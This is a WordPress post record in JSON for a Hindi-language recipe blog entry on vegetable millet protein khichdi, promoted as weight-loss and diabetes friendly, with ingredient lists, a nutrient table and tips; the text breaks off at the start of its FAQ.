{"id":827,"date":"2026-02-25T20:31:49","date_gmt":"2026-02-25T15:01:49","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=827"},"modified":"2026-04-07T13:56:32","modified_gmt":"2026-04-07T08:26:32","slug":"9-%e0%a4%9c%e0%a4%ac%e0%a4%b0%e0%a4%a6%e0%a4%b8%e0%a5%8d%e0%a4%a4-%e0%a4%ab%e0%a4%be%e0%a4%af%e0%a4%a6%e0%a5%87-%e0%a4%b5%e0%a4%be%e0%a4%b2%e0%a5%80-%e0%a4%b5%e0%a5%87%e0%a4%9c%e0%a4%bf%e0%a4%9f","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/9-%e0%a4%9c%e0%a4%ac%e0%a4%b0%e0%a4%a6%e0%a4%b8%e0%a5%8d%e0%a4%a4-%e0%a4%ab%e0%a4%be%e0%a4%af%e0%a4%a6%e0%a5%87-%e0%a4%b5%e0%a4%be%e0%a4%b2%e0%a5%80-%e0%a4%b5%e0%a5%87%e0%a4%9c%e0%a4%bf%e0%a4%9f\/","title":{"rendered":"9 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u092b\u093e\u092f\u0926\u0947 \u0935\u093e\u0932\u0940 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 | Weight Loss &amp; Diabetes Friendly Superfood"},"content":{"rendered":"\n<p> \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947, \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0915\u0902\u091f\u094d\u0930\u094b\u0932 \u0914\u0930 \u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u0915\u0947 \u0932\u093f\u090f \u0939\u0947\u0932\u094d\u0926\u0940 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940\u0964 \u091c\u093e\u0928\u093f\u090f \u0938\u093e\u092e\u0917\u094d\u0930\u0940, \u092c\u0928\u093e\u0928\u0947 \u0915\u0940 \u0935\u093f\u0927\u093f, \u092a\u094b\u0937\u0923 \u092b\u093e\u092f\u0926\u0947, FAQ \u0914\u0930 \u0921\u093e\u0907\u091f \u091f\u093f\u092a\u094d\u0938\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0939\u0947\u0932\u094d\u0926\u0940, \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0914\u0930 \u0917\u091f \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0938\u0941\u092a\u0930\u092b\u0942\u0921<\/h2>\n\n\n\n<p><strong>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u0915\u0940 \u0938\u092c\u0938\u0947 \u091c\u094d\u092f\u093e\u0926\u093e \u0938\u0930\u094d\u091a \u0915\u0940 \u091c\u093e\u0928\u0947 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u092e\u0947\u0902 \u0938\u0947 \u090f\u0915 \u0939\u0948\u0964 \u0905\u0917\u0930 \u0906\u092a <strong>\u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u092b\u0949\u0930 \u0935\u0947\u091f \u0932\u0949\u0938<\/strong>, <strong>\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0916\u093f\u091a\u0921\u093c\u0940<\/strong> \u092f\u093e <strong>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0935\u0947\u091c \u0916\u093f\u091a\u0921\u093c\u0940<\/strong> \u0922\u0942\u0902\u0922 \u0930\u0939\u0947 \u0939\u0948\u0902, \u0924\u094b \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092e\u093f\u0932\u0947\u091f (\u092c\u093e\u091c\u0930\u093e, \u091c\u094d\u0935\u093e\u0930, \u0915\u093e\u0902\u0917\u0928\u0940, \u0938\u093e\u092e\u093e) \u0906\u092f\u0930\u0928, \u092b\u093e\u0907\u092c\u0930 \u0914\u0930 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0916\u093e\u0938\u0924\u094c\u0930 \u092a\u0930 \u0909\u0928 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u0948 \u091c\u094b \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902, \u092c\u094d\u0932\u0921 \u0936\u0941\u0917\u0930 \u0915\u0902\u091f\u094d\u0930\u094b\u0932 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u092f\u093e \u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u0938\u0941\u0927\u093e\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> <strong>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0915\u094d\u092f\u094b\u0902 \u0939\u0948 \u0938\u0941\u092a\u0930\u092b\u0942\u0921?<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0939\u093e\u0908 \u092b\u093e\u0907\u092c\u0930 \u2013 \u0924\u0947\u091c\u0940 \u0938\u0947 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926<\/h4>\n\n\n\n<p>\u092e\u093f\u0932\u0947\u091f\u094d\u0938 \u092e\u0947\u0902 \u092b\u093e\u0907\u092c\u0930 \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u092a\u0947\u091f \u0926\u0947\u0930 \u0924\u0915 \u092d\u0930\u093e \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u0932\u094b \u0917\u094d\u0932\u093e\u0907\u0938\u0947\u092e\u093f\u0915 \u0907\u0902\u0921\u0947\u0915\u094d\u0938<\/h4>\n\n\n\n<p>\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092e\u0930\u0940\u091c\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u2013 \u0936\u0941\u0917\u0930 \u0938\u094d\u092a\u093e\u0907\u0915 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u092c\u0942\u0938\u094d\u091f\u0930<\/h4>\n\n\n\n<p>\u0906\u0902\u0924\u094b\u0902 \u0915\u0940 \u0938\u092b\u093e\u0908 \u0914\u0930 \u092a\u093e\u091a\u0928 \u092e\u091c\u092c\u0942\u0924 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0917\u094d\u0932\u0942\u091f\u0947\u0928 \u092b\u094d\u0930\u0940<\/h4>\n\n\n\n<p>\u0938\u0940\u0932\u093f\u090f\u0915 \u092f\u093e \u0917\u094d\u0932\u0942\u091f\u0947\u0928 \u0938\u0947\u0902\u0938\u093f\u091f\u093f\u0935 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u092e\u093f\u0932\u0947\u091f (\u092e\u0941\u0916\u094d\u092f \u0905\u0928\u093e\u091c) \u2013 1 \u0915\u092a<\/h4>\n\n\n\n<p>\u0906\u092a \u0907\u0928 \u092e\u093f\u0932\u0947\u091f\u094d\u0938 \u092e\u0947\u0902 \u0938\u0947 \u0915\u094b\u0908 \u092d\u0940 \u091a\u0941\u0928 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u092b\u0949\u0915\u094d\u0938\u091f\u0947\u0932 \u092e\u093f\u0932\u0947\u091f (\u0915\u093e\u0902\u0917\u0928\u0940)<\/h4>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet-1024x768.jpg\" alt=\"\" class=\"wp-image-828\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet-1024x768.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet-300x225.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet-768x576.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet-1536x1152.jpg 1536w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet-16x12.jpg 16w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/FoxtailMillet.jpg 1600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><strong><em>\u092e\u093f\u0932\u0947\u091f<\/em><\/strong><\/figcaption><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0932\u094b \u0917\u094d\u0932\u093e\u0907\u0938\u0947\u092e\u093f\u0915 \u0907\u0902\u0921\u0947\u0915\u094d\u0938<\/li>\n\n\n\n<li>\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092e\u0930\u0940\u091c\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0924\u0930<\/li>\n\n\n\n<li>\u0906\u092f\u0930\u0928 \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> \u092c\u093e\u091c\u0930\u093e<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0938\u0930\u094d\u0926\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0909\u0924\u094d\u0924\u092e<\/li>\n\n\n\n<li>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0914\u0930 \u092e\u0948\u0917\u094d\u0928\u0940\u0936\u093f\u092f\u092e \u0915\u093e \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> \u091c\u094d\u0935\u093e\u0930<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u094d\u0932\u0942\u091f\u0947\u0928 \u092b\u094d\u0930\u0940<\/li>\n\n\n\n<li>\u0939\u093e\u0930\u094d\u091f \u0939\u0947\u0932\u094d\u0925 \u0915\u0947 \u0932\u093f\u090f \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926<\/li>\n<\/ul>\n\n\n\n<p> <strong>\u0928\u094d\u092f\u0942\u091f\u094d\u0930\u093f\u0936\u0928 \u0932\u093e\u092d:<\/strong><br>\u0939\u093e\u0908 \u092b\u093e\u0907\u092c\u0930, \u092a\u094d\u0932\u093e\u0902\u091f \u092c\u0947\u0938\u094d\u0921 \u092a\u094d\u0930\u094b\u091f\u0940\u0928, \u092e\u093f\u0928\u0930\u0932\u094d\u0938<br> <strong>\u0935\u0947\u091f \u0932\u0949\u0938 \u091f\u093f\u092a:<\/strong> \u092e\u093f\u0932\u0947\u091f \u092a\u0947\u091f \u0915\u094b \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u092d\u0930\u093e \u0930\u0916\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u092e\u0942\u0902\u0917 \u0926\u093e\u0932 (\u0927\u0941\u0932\u0940) \u2013 \u00bd \u0915\u092a<\/h4>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img decoding=\"async\" width=\"350\" height=\"318\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/81h9GzTfqML._AC_UF350350_QL80.jpg\" alt=\"\" class=\"wp-image-829\" style=\"width:551px;height:auto\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/81h9GzTfqML._AC_UF350350_QL80.jpg 350w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/81h9GzTfqML._AC_UF350350_QL80-300x273.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/81h9GzTfqML._AC_UF350350_QL80-13x12.jpg 13w\" sizes=\"(max-width: 350px) 100vw, 350px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0939\u0932\u094d\u0915\u0940 \u0914\u0930 \u091c\u0932\u094d\u0926\u0940 \u092a\u091a\u0928\u0947 \u0935\u093e\u0932\u0940<\/li>\n\n\n\n<li>12-14 \u0917\u094d\u0930\u093e\u092e \u0924\u0915 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 (\u092a\u094d\u0930\u0924\u093f 100g)<\/li>\n\n\n\n<li>\u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0924\u0930\u0940\u0928<\/li>\n<\/ul>\n\n\n\n<p> <strong>\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940<\/strong><br>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u092c\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0905\u0928\u093f\u0935\u093e\u0930\u094d\u092f<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u092e\u093f\u0915\u094d\u0938 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u2013 1 \u0915\u092a<\/h4>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0917\u093e\u091c\u0930 (1 \u092e\u0927\u094d\u092f\u092e)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092c\u0940\u091f\u093e \u0915\u0948\u0930\u094b\u091f\u0940\u0928<\/li>\n\n\n\n<li>\u0906\u0902\u0916\u094b\u0902 \u0914\u0930 \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u0915\u0947 \u0932\u093f\u090f \u0932\u093e\u092d\u0926\u093e\u092f\u0915<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0939\u0930\u0940 \u092e\u091f\u0930 (\u00bd \u0915\u092a)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0932\u093e\u0902\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928<\/li>\n\n\n\n<li>\u092b\u093e\u0907\u092c\u0930<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0936\u093f\u092e\u0932\u093e \u092e\u093f\u0930\u094d\u091a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 C<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092c\u0940\u0928\u094d\u0938<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u093e\u091a\u0928 \u0915\u0947 \u0932\u093f\u090f \u0905\u091a\u094d\u091b\u0940<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u093e\u0932\u0915 (\u0935\u0948\u0915\u0932\u094d\u092a\u093f\u0915)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0906\u092f\u0930\u0928<\/li>\n\n\n\n<li>\u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u092c\u0948\u0932\u0947\u0902\u0938 \u092e\u0947\u0902 \u0938\u0939\u093e\u092f\u0915<\/li>\n<\/ul>\n\n\n\n<p> <strong>\u0935\u0947\u091f \u0932\u0949\u0938 \u0915\u0947 \u0932\u093f\u090f \u0906\u0932\u0942 \u091b\u094b\u0921\u093c \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u0914\u0937\u0927\u0940\u092f \u0924\u0924\u094d\u0935<\/h4>\n\n\n\n<h3 class=\"wp-block-heading\">\u0905\u0926\u0930\u0915 \u2013 1 \u091b\u094b\u091f\u093e \u091f\u0941\u0915\u0921\u093c\u093e<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u090f\u0902\u091f\u0940-\u0907\u0902\u092b\u094d\u0932\u0947\u092e\u0947\u091f\u0930\u0940<\/li>\n\n\n\n<li>\u0917\u0948\u0938 \u0914\u0930 \u092c\u094d\u0932\u094b\u091f\u093f\u0902\u0917 \u0915\u092e \u0915\u0930\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0932\u0939\u0938\u0941\u0928 (2-3 \u0915\u0932\u093f\u092f\u093e\u0902)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u094b\u0932\u0947\u0938\u094d\u091f\u094d\u0930\u0949\u0932 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u0938\u0939\u093e\u092f\u0915<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0939\u0930\u0940 \u092e\u093f\u0930\u094d\u091a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092e\u0947\u091f\u093e\u092c\u0949\u0932\u093f\u091c\u094d\u092e \u092c\u0942\u0938\u094d\u091f<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u092e\u0938\u093e\u0932\u0947 (Metabolism Boosting Spices)<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u00bd \u091a\u092e\u094d\u092e\u091a \u0939\u0932\u094d\u0926\u0940 (\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f)<\/li>\n\n\n\n<li>1 \u091a\u092e\u094d\u092e\u091a \u091c\u0940\u0930\u093e (\u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u0938\u092a\u094b\u0930\u094d\u091f)<\/li>\n\n\n\n<li>1 \u091a\u092e\u094d\u092e\u091a \u0927\u0928\u093f\u092f\u093e \u092a\u093e\u0909\u0921\u0930<\/li>\n\n\n\n<li>\u00bd \u091a\u092e\u094d\u092e\u091a \u0917\u0930\u092e \u092e\u0938\u093e\u0932\u093e<\/li>\n\n\n\n<li>\u091a\u0941\u091f\u0915\u0940 \u092d\u0930 \u0939\u0940\u0902\u0917 (\u0917\u0948\u0938 \u0938\u0947 \u0930\u093e\u0939\u0924)<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>1 \u091a\u092e\u094d\u092e\u091a \u0926\u0947\u0938\u0940 \u0918\u0940<br>\u092f\u093e<\/li>\n\n\n\n<li>\u0915\u094b\u0932\u094d\u0921 \u092a\u094d\u0930\u0947\u0938\u094d\u0921 \u0938\u0930\u0938\u094b\u0902\/\u0928\u093e\u0930\u093f\u092f\u0932 \u0924\u0947\u0932<\/li>\n<\/ul>\n\n\n\n<p> \u092b\u0948\u091f \u0935\u093f\u091f\u093e\u092e\u093f\u0928\u094d\u0938 \u0915\u0947 \u0905\u0935\u0936\u094b\u0937\u0923 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u092a\u093e\u0928\u0940 \u2013 3 \u0915\u092a<\/h4>\n\n\n\n<p>\u0916\u093f\u091a\u0921\u093c\u0940 \u0915\u0940 \u0915\u0902\u0938\u093f\u0938\u094d\u091f\u0947\u0902\u0938\u0940 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 2.5\u20133 \u0915\u092a \u092a\u093e\u0928\u0940 \u0921\u093e\u0932\u0947\u0902\u0964<a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u092a\u094b\u0937\u0923 \u0938\u0902\u0924\u0941\u0932\u0928 (Ingredient Science)<\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u0935<\/th><th>\u0938\u094d\u0930\u094b\u0924<\/th><\/tr><\/thead><tbody><tr><td>\u092a\u094d\u0930\u094b\u091f\u0940\u0928<\/td><td>\u092e\u0942\u0902\u0917 \u0926\u093e\u0932 + \u092e\u093f\u0932\u0947\u091f<\/td><\/tr><tr><td>\u092b\u093e\u0907\u092c\u0930<\/td><td>\u092e\u093f\u0932\u0947\u091f + \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902<\/td><\/tr><tr><td>\u0906\u092f\u0930\u0928<\/td><td>\u092a\u093e\u0932\u0915 + \u092e\u093f\u0932\u0947\u091f<\/td><\/tr><tr><td>\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f<\/td><td>\u0939\u0932\u094d\u0926\u0940 + \u0917\u093e\u091c\u0930<\/td><\/tr><tr><td>\u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f<\/td><td>\u0918\u0940<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<div class=\"wp-block-cover\"><img decoding=\"async\" width=\"784\" height=\"1024\" class=\"wp-block-cover__image-background wp-image-830\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/26b5bf_730d3ffaf3fe4cd3a5a9f02f8-784x1024.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/26b5bf_730d3ffaf3fe4cd3a5a9f02f8-784x1024.jpg 784w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/26b5bf_730d3ffaf3fe4cd3a5a9f02f8-230x300.jpg 230w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/26b5bf_730d3ffaf3fe4cd3a5a9f02f8-768x1003.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/26b5bf_730d3ffaf3fe4cd3a5a9f02f8-9x12.jpg 9w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/26b5bf_730d3ffaf3fe4cd3a5a9f02f8.jpg 980w\" sizes=\"(max-width: 784px) 100vw, 784px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><strong><em>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/em><\/strong><\/p>\n<\/div><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">\u0935\u0948\u0915\u0932\u094d\u092a\u093f\u0915 \u0938\u0941\u092a\u0930\u092b\u0942\u0921 \u090f\u0921\u093f\u0936\u0928<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>1 \u091a\u092e\u094d\u092e\u091a \u0905\u0932\u0938\u0940 \u092a\u093e\u0909\u0921\u0930 (\u0913\u092e\u0947\u0917\u093e 3)<\/li>\n\n\n\n<li>1 \u091a\u092e\u094d\u092e\u091a \u091a\u093f\u092f\u093e \u0938\u0940\u0921\u094d\u0938<a href=\"http:\/\/vegetable-millet-protein-khichdi-recipe-weight-loss-diabetes-friendly\">http:\/\/vegetable-millet-protein-khichdi-recipe-weight-loss-diabetes-friendly<\/a><\/li>\n\n\n\n<li>\u092a\u0928\u0940\u0930 \u0915\u094d\u092f\u0942\u092c\u094d\u0938 (\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u092c\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f)<\/li>\n\n\n\n<li>\u0905\u0902\u0915\u0941\u0930\u093f\u0924 \u092e\u0942\u0902\u0917<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u092a\u094d\u0930\u094b \u091f\u093f\u092a<\/h4>\n\n\n\n<p>\u0905\u0917\u0930 \u0906\u092a <strong>\u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u092b\u0949\u0930 \u0935\u0947\u091f \u0932\u0949\u0938<\/strong> \u092c\u0928\u093e \u0930\u0939\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0906\u0932\u0942 \u0928 \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u0918\u0940 \u0938\u0940\u092e\u093f\u0924 \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>\u091c\u094d\u092f\u093e\u0926\u093e \u092b\u093e\u0907\u092c\u0930 \u0935\u093e\u0932\u0940 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0921\u093e\u0932\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0905\u0917\u0930 <strong>\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0916\u093f\u091a\u0921\u093c\u0940<\/strong> \u092c\u0928\u093e \u0930\u0939\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u091f\u092e\u093e\u091f\u0930 \u0915\u092e \u0930\u0916\u0947\u0902<a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/li>\n\n\n\n<li>\u091c\u094d\u092f\u093e\u0926\u093e \u0917\u094d\u0930\u0940\u0928 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u0921\u093e\u0932\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-cover\"><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"375\" class=\"wp-block-cover__image-background wp-image-833\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/vegetable-khichdi-recipe.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/vegetable-khichdi-recipe.jpg 500w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/vegetable-khichdi-recipe-300x225.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/vegetable-khichdi-recipe-16x12.jpg 16w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><strong><em>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/em><\/strong><\/p>\n<\/div><\/div>\n\n\n\n<h1 class=\"wp-block-heading\">FAQ <\/h1>\n\n\n\n<h3 class=\"wp-block-heading\">Q1: \u0915\u094d\u092f\u093e \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 